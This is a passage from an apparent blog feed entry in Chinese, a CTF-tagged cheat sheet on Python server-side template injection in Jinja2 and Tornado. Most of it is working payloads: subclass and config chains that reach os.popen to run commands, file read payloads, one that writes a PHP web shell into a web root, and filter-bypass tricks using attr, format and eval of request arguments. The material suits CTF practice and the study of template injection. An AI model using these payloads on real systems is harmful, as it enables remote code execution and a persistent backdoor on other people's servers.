c.__name__=='catch_warnings' %&#125;&#123;&#123; c.__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()&#125;&#125; &#123;% endif %&#125;&#123;% endfor %&#125;</code></pre><ul><li>读写文件，通过__builtins__调用open进行文件读写</li></ul><pre><code class="python">&#123;% for c in [].__class__.__base__.__subclasses__() %&#125;&#123;% if c.__name__=='catch_warnings' %&#125;&#123;&#123; c.__init__.__globals__['__builtins__'].open('filename', 'r').read() &#125;&#125;&#123;% endif %&#125;&#123;% endfor %&#125;&#123;% for c in [].__class__.__base__.__subclasses__() %&#125;&#123;% if c.__name__=='catch_warnings' %&#125;&#123;&#123; c.__init__.__globals__['__builtins__'].open('var/www/html/a.php', 'r').write("<?php @system($_GET['x'])?>") &#125;&#125;&#123;% endif %&#125;&#123;% endfor %&#125;</code></pre><h3 id="jinja2模板的特征"><a href="#jinja2模板的特征" class="headerlink" title="jinja2模板的特征"></a>jinja2模板的特征</h3><ul><li>有一个config环境配置变量</li><li>通过config向上得到os进行ssti</li></ul><pre><code class="python">&#123;&#123;config.__class__.__init__.__globals__['os'].popen('ls').read()&#125;&#125;</code></pre><h3 id="tornado模板的特征"><a href="#tornado模板的特征" class="headerlink" title="tornado模板的特征"></a>tornado模板的特征</h3><ul><li>存在handler，即当前的RequestHandler对象,也是tornado中HTTP请求处理的基类，利用这个基类也可以结合py本身的特质进行注入</li><li>handler的一些属性与方法</li></ul><pre><code class="python">&#123;&#123;handler.get_argument('yu')&#125;&#125;   #比如传入?yu=123则返回值为123&#123;&#123;handler.cookies&#125;&#125;  #返回cookie值&#123;&#123;handler.get_cookie("data")&#125;&#125;  #返回cookie中data的值&#123;&#123;handler.decode_argument('\u0066')&#125;&#125;  #返回f，其中\u0066为f的unicode编码&#123;&#123;handler.get_query_argument('yu')&#125;&#125;  #比如传入?yu=123则返回值为123&#123;&#123;handler.settings&#125;&#125;  #比如传入application.settings中的值#handler.setting可以优先考虑查看。</code></pre><ul><li>存在request对象，以下是其常用属性</li></ul><pre><code class="python">&#123;&#123;request.method&#125;&#125;  //返回请求方法名  GET|POST|PUT...&#123;&#123;request.query&#125;&#125;  //传入?a=123 则返回a=123&#123;&#123;request.arguments&#125;&#125;   //返回所有参数组成的字典&#123;&#123;request.cookies&#125;&#125;   //同&#123;&#123;handler.cookies&#125;&#125;</code></pre><ul><li>一些过滤的绕过</li></ul><pre><code class="python">&#123;&#123;eval(handler.get_argument(request.method))&#125;&#125;#传入GET=__import__(&quot;os&quot;).popen(&quot;ls&quot;).read(), 绕过对引号的过滤</code></pre><h3 id="过滤器"><a href="#过滤器" class="headerlink" title="过滤器"></a>过滤器</h3><ul><li>attr<br>&emsp;&emsp;用于获取变量：</li></ul><pre><code class="python">&quot;&quot;|attr(&quot;__class__&quot;)# 相当于&quot;&quot;.__class__</code></pre><ul><li>format<br>&emsp;&emsp;格式化字符串：</li></ul><pre><code class="python">&quot;%c%c%c%c%c%c%c%c%c&quot;|format(95,95,99,108,97,115,115,95,95)&quot;&quot;[&quot;%c%c%c%c%c%c%c%c%c&quot;|format(95,95,99,108,97,115,115,95,95)]# __class__</code></pre><ul><li>first last random<br>&emsp;&emsp;取第一个&#x2F;最后一个&#x2F;随机一个对象</li></ul><pre><code class="python">&quot;&quot;.__class__.__mro__|last()#  CFV )相当于&quot;&quot;.__class__.__mro__[-1]</code></pre><blockquote><p>参考~&#x1F970;:</p><ul><li><a href="https://www.cnblogs.com/tuzkizki/p/15394415.html">Python SSTI漏洞学习总结</a></li><li><a href="https://blog.csdn.net/miuzzx/article/details/123329244">tornado模板注入</a></li></ul></blockquote>]]></content>
    
    
    <summary type="html">总结了一些python模板注入时的内置方法和属性,常用的模块，方法等等喵~</summary>
    
    
    
    <category term="CTF" scheme="https://101.43.94.206/categories/CTF/"/>
    
    
    <category term="Web" scheme="https://101.43.94.206/tags/Web/"/>
    
    <category term="Py" scheme="https://101.43.94.206/tags/Py/"/>
    
  </entry>
  
</feed>
